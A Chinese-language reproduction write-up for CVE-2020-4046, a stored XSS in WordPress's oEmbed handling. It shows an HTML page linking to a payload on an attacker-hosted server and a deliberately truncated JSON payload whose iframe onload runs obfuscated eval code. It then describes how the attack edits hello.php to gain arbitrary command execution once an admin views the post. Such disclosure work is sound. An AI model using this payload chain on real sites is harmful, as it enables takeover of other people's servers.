(CVE-2020-4046)WordPress 5.3.4 储型XSS
一、漏洞简介
该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。
二、漏洞影响
WordPress 5.3.4版本,5.2.7版本,5.1.6版本,5.0.10版本,4.9.15版本,4.8.14版本,4.7.18, 4.6.19版本,4.5.22版本,4.4.23版本,4.3.24版本,4.2.28版本,4.1.31版本,4.0.31版本,3.9.32版本,3.8.34版本,3.7.34版本。
三、复现过程
要利用该漏洞,攻击者需要在其自身的web服务器上托管两个文件(这些文件的内容将在后面显示)。为使漏洞利用正常进行,被攻击的目标服务器必须能访问攻击者web服务器以下载payload。虽然WordPress有健全的外部资源引用控制机制,但是此类安全设置将会阻止WordPress嵌入其它正常的URL,因此实际场景中开启此安全设置是比较少见的。我们基于@g0blinResearch
师傅的文章生成payload。然后将payload中插件地址修改为hello.php
(也就是/wp-content/plugins/hello.php
),该插件为WordPress默认插件且可以访问,同时进行了其他一些小的改动。该payload使用https://eve.gd/2007/05/23/string-fromcharcode-encoder/
在线工具进行编码,以避免各种转义问题。在此演示中,对应的payload.htm
如下:
<HTML>
<HEAD>
<LINK type="application/json+oembed" href="http://attackbox1.pentest.co.uk/payload.json">
</HEAD>
</HTML>
payload.json
部分如下,(没有给出完整的利用代码是为了避免漏洞在未修复前被恶意利用):
{
"type":"rich",
"html":"<blockquote><iframe title=' width=\"'></iframe></blockquote><iframe src='noexist' title='xxx'
height=' title=' width=\"'' onload='eval(String.fromCharCode(118,97,114,…))'\"></iframe>"
}
现在,我们用至少具有贡献者
权限的账户登录目标站点,随后创建一个帖子以嵌入我们payload:
管理员随后查看帖子时:
我们的payload已执行,并且对应/wp-content/plugins/hello.php
文件被编辑成允许我们执行任意系统命令:
参考链接
https://xz.aliyun.com/t/7929
https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/